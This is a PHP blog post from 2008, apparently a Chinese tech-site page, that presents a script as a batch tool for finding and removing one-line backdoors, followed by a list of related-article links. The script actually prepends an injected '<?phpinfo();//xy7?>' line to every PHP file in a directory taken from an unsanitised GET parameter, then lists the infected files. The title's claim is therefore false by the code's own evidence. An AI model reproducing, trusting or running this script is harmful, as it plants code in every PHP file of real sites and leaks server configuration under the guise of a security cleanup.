用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
PHP4中实现动态代理
Oct 09 PHP
PHP用mysql数据库存储session的代码
Mar 05 PHP
PHP中的float类型使用说明
Jul 27 PHP
php 购物车完整实现代码
Jun 05 PHP
PHP获取当前相对于域名目录的方法
Jun 26 PHP
详解WordPress中给链接添加查询字符串的方法
Dec 18 PHP
解决laravel 5.1报错:No supported encrypter found的办法
Jun 07 PHP
php微信公众号开发之图片回复
Oct 20 PHP
laravel5.1 ajax post 传值_token示例
Oct 24 PHP
PHP 文件写入和读取操作实例详解【必看篇】
Nov 04 PHP
php操作redis常见方法示例【key与value操作】
Apr 14 PHP
PHP时间类完整代码实例
Feb 26 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
PHP 创建标签云函数代码
2010/05/26 PHP
五款常用mysql slow log分析工具的比较分析
2011/05/22 PHP
linux命令之调试工具strace的深入分析
2013/06/03 PHP
jquery批量控制form禁用的代码
2013/08/06 Javascript
JavaScript子类用Object.getPrototypeOf去调用父类方法解析
2013/12/05 Javascript
jquery解析XML字符串和XML文件的方法说明
2014/02/21 Javascript
javascript中为某个元素指定事件的三种方式
2014/08/07 Javascript
js设置cookie过期当前时间减去一秒相当于立即过期
2014/09/04 Javascript
jQuery实现非常实用漂亮的select下拉菜单选择效果
2015/11/06 Javascript
js图片跟随鼠标移动代码
2015/11/26 Javascript
jquery实现全选、不选、反选的两种方法
2016/09/06 Javascript
Centos7 中安装 Node.js v4.4.4
2016/11/03 Javascript
JavaScript实现时钟滴答声效果
2017/01/29 Javascript
原生javascript实现分页效果
2017/04/21 Javascript
jQuery 实现双击编辑表格功能
2017/06/19 jQuery
bootstrap实现点击删除按钮弹出确认框的实例代码
2018/08/16 Javascript
JSON的parse()方法介绍
2019/01/31 Javascript
vue基于Echarts的拖拽数据可视化功能实现
2020/12/04 Vue.js
微信小程序组件生命周期的踩坑记录
2021/03/03 Javascript
[01:09:13]DOTA2-DPC中国联赛 正赛 CDEC vs XG BO3 第三场 1月19日
2021/03/11 DOTA
Python正则表达式使用经典实例
2016/06/21 Python
django之session与分页(实例讲解)
2017/11/13 Python
python简单商城购物车实例代码
2018/03/15 Python
python3库numpy数组属性的查看方法
2018/04/17 Python
点球小游戏python脚本
2018/05/22 Python
python 去除txt文本中的空格、数字、特定字母等方法
2018/07/24 Python
HTML5 input元素类型:email及url介绍
2013/08/13 HTML / CSS
Html5中localStorage存储JSON数据并读取JSON数据的实现方法
2017/02/13 HTML / CSS
SIXPAD智能健身仪英国官网:革命性的训练装备品牌
2018/09/27 全球购物
澳大利亚最大的在线美发和美容零售商之一:My Hair Care & Beauty
2019/08/24 全球购物
数控加工专业毕业生自荐信
2013/09/27 职场文书
前厅收银主管岗位职责
2014/02/04 职场文书
授权委托书(法人单位用)
2014/09/29 职场文书
2014年个人售房协议书
2014/10/30 职场文书
2015年教研工作总结
2015/05/23 职场文书
Python基础知识之变量的详解
2021/04/14 Python